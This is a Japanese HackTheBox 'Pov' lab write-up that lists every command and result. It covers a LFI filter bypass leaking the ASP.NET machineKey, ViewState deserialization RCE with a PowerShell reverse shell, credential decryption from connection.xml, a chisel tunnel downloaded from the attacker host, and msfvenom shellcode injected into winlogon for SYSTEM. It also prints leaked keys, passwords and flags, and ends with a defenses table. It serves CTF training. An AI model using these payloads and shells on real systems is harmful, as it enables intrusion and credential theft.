HackTheBox: Pov — 全実行コマンド・実行結果レポート
Nmap + Contact page
dev.pov.htb 発見
→
dev.pov.htb 発見
….//web.config
フィルタバイパスLFI
→
フィルタバイパスLFI
machineKey 漏洩
validation/decryptionKey
→
validation/decryptionKey
ysoserial.net
TypeConfuseDelegate RCE
→
TypeConfuseDelegate RCE
sfitz シェル
connection.xml
→
connection.xml
alaading
Import-Clixml復号
→
Import-Clixml復号
user.txt
→
chisel+evil-winrm
シングルホップ
→
シングルホップ
SYSTEM
シェルコード注入
→
シェルコード注入
root.txt
PHASE 1
偵察 (Reconnaissance)
ポートスキャン & hosts 設定
BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.230.183 nmap -sV -sC -p 80 10.129.230.183
RESULT
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: pov.htb
|_http-server-header: Microsoft-IIS/10.0
X-Powered-By: ASP.NET
BASH
echo "10.129.230.183 pov.htb" | sudo tee -a /etc/hosts
Contact ページからサブドメインを発見
BASH
curl -s -H "Host: pov.htb" http://10.129.230.183/
RESULT
サブドメイン発見: dev.pov.htb / ユーザー名候補: sfitz
BASH
echo "10.129.230.183 dev.pov.htb" | sudo tee -a /etc/hosts
✅
dev.pov.htb は Stephen Fitz のポートフォリオサイトで、
ASP.NET / ViewState への言及と “Download CV” ボタンがある。
PHASE 2
Web Filtering Bypass による LFI
フィルタバイパス (….//) による web.config 読み取り
NOTE
/portfolio/ の "Download CV" は POST body に file=cv.pdf パラメータを持つ。 単純な file=../web.config はフィルタで "../" が1回除去され失敗するが、 file=....//web.config とすると "..../" → ".." + "/" が残り、 結果的に "../" 相当になりバイパスに成功する。
BASH
curl -s "http://dev.pov.htb/portfolio/" -o page.html
VS=$(grep -oP '__VIEWSTATE"\s+value="\K[^"]*' page.html)
EV=$(grep -oP '__EVENTVALIDATION"\s+value="\K[^"]*' page.html)
curl -s -X POST "http://dev.pov.htb/portfolio/" \
--data-urlencode "__EVENTTARGET=download" \
--data-urlencode "__EVENTARGUMENT=" \
--data-urlencode "__VIEWSTATE=${VS}" \
--data-urlencode "__VIEWSTATEGENERATOR=8E0F0FA3" \
--data-urlencode "__EVENTVALIDATION=${EV}" \
--data-urlencode "file=....//web.config"
RESULT (実機ライブ確認)
<configuration>
<system.web>
<customErrors mode="On" defaultRedirect="default.aspx" />
<httpRuntime targetFramework="4.5" />
<machineKey decryption="AES"
decryptionKey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43"
validation="SHA1"
validationKey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" />
</system.web>
</configuration>
🚨
致命的な情報漏洩: ASP.NET の
<machineKey> が平文で漏洩。
この validationKey/decryptionKey があれば
ViewState デシリアライゼーション攻撃で任意コード実行が可能。
ℹ️
ハマりどころ:
__EVENTVALIDATION を含めずに送ると
常に 302 Object moved になる。ページを毎回GETし直して
新鮮な __VIEWSTATE/__EVENTVALIDATION を同一リクエスト内で送る必要がある。
PHASE 3
ASP.NET ViewState デシリアライゼーション RCE
genuine .NET Framework 4.8 の準備 (wine)
⚠️
環境上の重要な注意:
ysoserial.net の ViewState
ガジェット (TypeConfuseDelegate) は System.Web の
内部リフレクション (MachineKeySection.GetApplicationConfig 等)
に依存しており、Mono では代替不可能。genuine .NET
Framework (wine + winetricks dotnet48) が必須。
インストール中に稀に特定スレッドが anon_pipe_read で
デッドロックすることがあるが、ハングしたプロセスを検知して
kill すれば winetricks 自身の処理は次のステップへ
継続し、最終的に完走することを確認済み。
BASH
sudo apt install wine winetricks -y winetricks -q dotnet48
RESULT (実機ライブ確認)
$ wine reg query "HKLM\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full" /v Version
Version REG_SZ 4.8.03761
ysoserial.net で ViewState ペイロード生成
BASH
# PowerShellリバースシェルをBase64エンコードし -c に渡す wine ysoserial.exe -p ViewState -g TypeConfuseDelegate \ -c "powershell -e <base64_reverse_shell>" \ --path=/portfolio --apppath=/ --validationalg=SHA1 \ --validationkey=5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468 \ --decryptionalg=AES \ --decryptionkey=74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43
RESULT
exit code: 0 (5156 bytes, URL-encoded ViewState ペイロード生成成功)
✅
genuine .NET Framework 上で実行することで、Mono では欠落していた
MachineKeySection の内部メソッドが正しく機能し、
machineKey の MAC 署名を含む正しいペイロードが生成できた。
ペイロード送信 & RCE 発火
BASH
nc -lvnp 9002 # (事前にリスナーを準備)
curl -s -X POST "http://dev.pov.htb/portfolio/" \
--data-urlencode "__EVENTTARGET=" \
--data-urlencode "__EVENTARGUMENT=" \
--data-urlencode "__VIEWSTATEGENERATOR=8E0F0FA3" \
--data-urlencode "__EVENTVALIDATION=${EV}" \
--data "__VIEWSTATE=${PAYLOAD}"
RESULT
HTTP_CODE:302 (Object moved / aspxerrorpath へのリダイレクト)
ℹ️
重要な発見: レスポンスが
302 でも exploit は成功している。
デシリアライズによりガジェットが実行された後、ページの状態が壊れて
例外リダイレクトになるのが正常な挙動であり、
レスポンスコードだけでは成否判定できない。実際のコールバックで判定する必要がある。
RESULT (リスナー側)
listening on [any] 9002 ...
connect to [10.10.15.201] from (UNKNOWN) [10.129.230.183] 49672
$ whoami
pov\sfitz
✅
ViewState デシリアライゼーション RCE 成功。
pov\sfitz としてコード実行を確立。
PHASE 4
connection.xml から alaading の資格情報を奪取 & user.txt
connection.xml の発見と内容
SHELL
dir C:/users/sfitz/Documents type C:/users/sfitz/Documents/connection.xml
RESULT (実機ライブ確認)
Directory: C:\users\sfitz\Documents
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 12/25/2023 2:26 PM 1838 connection.xml
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
<Obj RefId="0">
<TN RefId="0">
<T>System.Management.Automation.PSCredential</T>
</TN>
<Props>
<S N="UserName">alaading</S>
<SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb...(略)</SS>
</Props>
</Obj>
</Objs>
🚨
Export-Clixml で保存された PSCredential オブジェクト。
暗号化された Password は Windows DPAPI で保護されており、
保存した本人と同じユーザー・同じマシン上でのみ復号できる
(今回はまさに sfitz として実行中のため復号可能)。
Import-Clixml でパスワードを復号
SHELL
$c = Import-Clixml -Path C:/users/sfitz/Documents/connection.xml $c.GetNetworkCredential().Password
RESULT (実機ライブ確認)
f8gQ8fynP44ek1m3
Domain 認証情報 — alaading
alaading : f8gQ8fynP44ek1m3
ループバック Invoke-Command で user.txt 取得
SHELL (sfitz シェル内から)
$sp = ConvertTo-SecureString "f8gQ8fynP44ek1m3" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PsCredential("pov\alaading",$sp)
Invoke-Command -ComputerName pov -Credential $cred -ScriptBlock {
Get-Content C:/users/alaading/desktop/user.txt }
RESULT (実機ライブ確認)
205088c63254db63ffe0db9cbbcd01e4
user.txt — C:\Users\alaading\Desktop\user.txt
205088c63254db63ffe0db9cbbcd01e4
PHASE 5
権限昇格の罠: 二重ホップトークンと SeDebugPrivilege
ループバック Invoke-Command からは SeDebugPrivilege を有効化できない
NOTE
Phase 4 と同じループバック Invoke-Command (sfitz shell → 自ホストへの 二重ホップ PSRemoting) のコンテキストで AdjustTokenPrivileges を試みる。
RESULT (実機ライブ確認 — 二重ホップ経由)
whoami /priv (Invoke-Command 内) -------------------------------- SeDebugPrivilege Debug programs Disabled GetTokenInformation によるトークン直接ダンプ: [SeDebugPrivilege attr=0 luid=0:20] AdjustTokenPrivileges(SeDebugPrivilege, ENABLE) 実行結果: ok=True lastError=1300 (ERROR_NOT_ALL_ASSIGNED)
🚨
重大な罠:
whoami /priv は “Disabled” としか
表示せず、一見「有効化すれば使える」ように見える。しかし
AdjustTokenPrivileges は正しい LUID を渡しても
ERROR_NOT_ALL_ASSIGNED で恒久的に失敗する。
これは sfitz シェルから自ホストへの Invoke-Command という
二重ホップ (double-hop) PSRemoting が生成する制限付き
トークン特有の挙動であり、この経路では SeDebugPrivilege を
絶対に有効化できない。
chisel + evil-winrm のシングルホップなら最初から Enabled
BASH — chisel リバース SOCKS トンネル確立
chisel server --reverse -p 8000 & # sfitz シェルから chisel.exe を配置・接続 (New-Object System.Net.WebClient).DownloadFile( "http://<kali_ip>:8888/chisel.exe","C:/windows/temp/chisel.exe") Start-Process C:/windows/temp/chisel.exe -ArgumentList "client <kali_ip>:8000 R:socks"
BASH — 直接シングルホップで evil-winrm 接続
proxychains4 -q evil-winrm -i 127.0.0.1 -u alaading -p 'f8gQ8fynP44ek1m3'
RESULT (実機ライブ確認 — シングルホップ経由)
TokenPrivs: count=3 [SeDebugPrivilege attr=3 luid=0:20] [SeChangeNotifyPrivilege attr=3 luid=0:23] [SeIncreaseWorkingSetPrivilege attr=3 luid=0:33] EnableDebug: AdjustTokenPrivileges ok=True lastError=0
✅
同一ユーザー・同一マシンでも、経路が違うだけで実効的な特権付与状態が変わる。
chisel トンネル経由で 直接シングルホップの evil-winrm
セッションを確立すると、SeDebugPrivilege は最初から
attr=3 (Enabled by default) の状態で付与されている。
ℹ️
もう一つの罠: alaading のトークンには
SeImpersonatePrivilege が存在しない (whoami /priv
に一切出てこない)。そのため CreateProcessWithTokenW を使う
ImpersonateFromParentPid 系のスクリプトは
ERROR_PRIVILEGE_NOT_HELD で失敗する可能性が高い。
SeDebugPrivilege だけで完結する手法 (プロセスへの
シェルコード注入) を選ぶ必要がある。
PHASE 6
winlogon.exe へのシェルコード注入 & root.txt
msfvenom でシェルコード生成
BASH
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<kali_ip> LPORT=9006 \ -f raw -o shell.bin base64 -w0 shell.bin > shell_b64.txt
RESULT
Payload size: 460 bytes
SeDebugPrivilege 有効化 & VirtualAllocEx/WriteProcessMemory/CreateRemoteThread 注入
SHELL (evil-winrm 直接セッション内 — Add-Type C#)
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
public class Inj {
[DllImport("kernel32.dll")] public static extern IntPtr OpenProcess(uint a, bool i, int pid);
[DllImport("kernel32.dll")] public static extern IntPtr VirtualAllocEx(IntPtr h, IntPtr a, uint s, uint t, uint p);
[DllImport("kernel32.dll")] public static extern bool WriteProcessMemory(IntPtr h, IntPtr a, byte[] b, uint s, out UIntPtr w);
[DllImport("kernel32.dll")] public static extern IntPtr CreateRemoteThread(IntPtr h, IntPtr sa, uint ss, IntPtr addr, IntPtr p, uint f, out uint tid);
// ... AdjustTokenPrivileges で SeDebugPrivilege 有効化 (LUID構造体で正確にレイアウト) ...
}
"@ -Language CSharp
$targetPid = (Get-Process winlogon | Select-Object -First 1).Id
$shellcode = [Convert]::FromBase64String("<shellcode_b64>")
[Inj]::Inject($targetPid, $shellcode)
RESULT (実機ライブ確認)
winlogon PID: 3536
shellcode bytes: 460
TokenPrivs: [SeDebugPrivilege attr=3 luid=0:20] (Enabled)
EnableDebug: AdjustTokenPrivileges ok=True lastError=0
OK tid=860
✅
CreateRemoteThread がスレッドID 860 を返し、
SYSTEM プロセス (winlogon.exe) 内でシェルコードの実行に成功。
SYSTEM シェル確立 & root.txt 取得
RESULT (リスナー側)
connect to [10.10.15.201] from (UNKNOWN) [10.129.230.183] 49737 Microsoft Windows [Version 10.0.17763.5329] C:\Windows\system32> whoami nt authority\system C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt 67bb25de15cbc6a56afa2c8587f53357
root.txt — C:\Users\Administrator\Desktop\root.txt
67bb25de15cbc6a56afa2c8587f53357
SUMMARY
攻略サマリー & 教訓
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
不完全な ../ フィルタ (dot-dot-slash bypass) |
dev.pov.htb/portfolio/ の download 機能 | 任意ファイル読取 (LFI) | High | ....//web.config で単純除去フィルタを回避 |
| ASP.NET machineKey の平文漏洩 | web.config | ViewState 署名鍵の窃取 | Critical | LFI で web.config を直接読み取り |
| ViewState Deserialization | ASP.NET 4.5 ページ (LosFormatter/ObjectStateFormatter) | リモートコード実行 | Critical | ysoserial.net TypeConfuseDelegate ガジェットで machineKey 署名済みの悪意あるViewStateを生成 |
| Export-Clixml で保存された資格情報の残置 | sfitz の Documents\connection.xml | 横展開 (alaading への昇格) | High | 同一ユーザー・マシン上で Import-Clixml により復号 |
| SeDebugPrivilege の付与 (シングルホップ限定で有効) | alaading ユーザー | SYSTEM への権限昇格 | Critical | chisel+evil-winrm 直接セッション + シェルコード注入 |
取得したフラグ
| フラグ | パス | 値 |
|---|---|---|
| user.txt | C:\Users\alaading\Desktop\user.txt | 205088c63254db63ffe0db9cbbcd01e4 |
| root.txt | C:\Users\Administrator\Desktop\root.txt | 67bb25de15cbc6a56afa2c8587f53357 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| 正規表現/単純文字列置換ベースのパストラバーサルフィルタは1回限りの適用では容易にバイパスされる | 再帰的な正規化 (Path.GetFullPath 等) を使い、正規化後のパスが許可ディレクトリ配下かを検証する。 |
web.config に machineKey が平文で保存され、Webルート経由で読み取り可能な場所に配置されている |
machineKey を自動生成 (generateKey="true") にするか、アプリケーションディレクトリ外の安全な場所で管理する。 |
| ViewState の MAC (EnableViewStateMac) は有効だが、machineKey 漏洩により署名検証自体が無意味化する | ASP.NET Framework から ASP.NET Core への移行を検討する (Core にはこの種のデシリアライゼーションガジェットは存在しない)。 |
PSCredential を Export-Clixml でディスクに保存する運用 |
資格情報をファイルに永続化する運用自体を避け、Windows Credential Manager や専用のシークレット管理ツールを使う。 |
一般ユーザーに SeDebugPrivilege が不要に付与されている |
特権の割り当てはグループポリシーで最小権限の原則に基づき厳格に管理する。 |
技術的に興味深かった発見
ℹ️
本マシンで最も特筆すべき発見は、同一ユーザーでも PSRemoting の
経路 (二重ホップ vs シングルホップ) によって、トークンの実効的な
特権付与状態が変わるという点だった。
whoami /priv
だけでは「Disabled」としか分からず、二重ホップ経由でも一見有効化
できそうに見えるが、実際には AdjustTokenPrivileges が
ERROR_NOT_ALL_ASSIGNED で恒久的に失敗する。
GetTokenInformation でトークンの特権配列を直接ダンプし、
attr フィールド (0=present-disabled-unassignable vs
3=enabled-by-default) を比較することで初めてこの違いが可視化できた。
権限昇格が「特権はあるはずなのに有効化できない」という状況に
陥ったときは、認証経路 (特に PSRemoting の多重ホップ) 自体を
疑う価値があるという実践的な教訓が得られた。

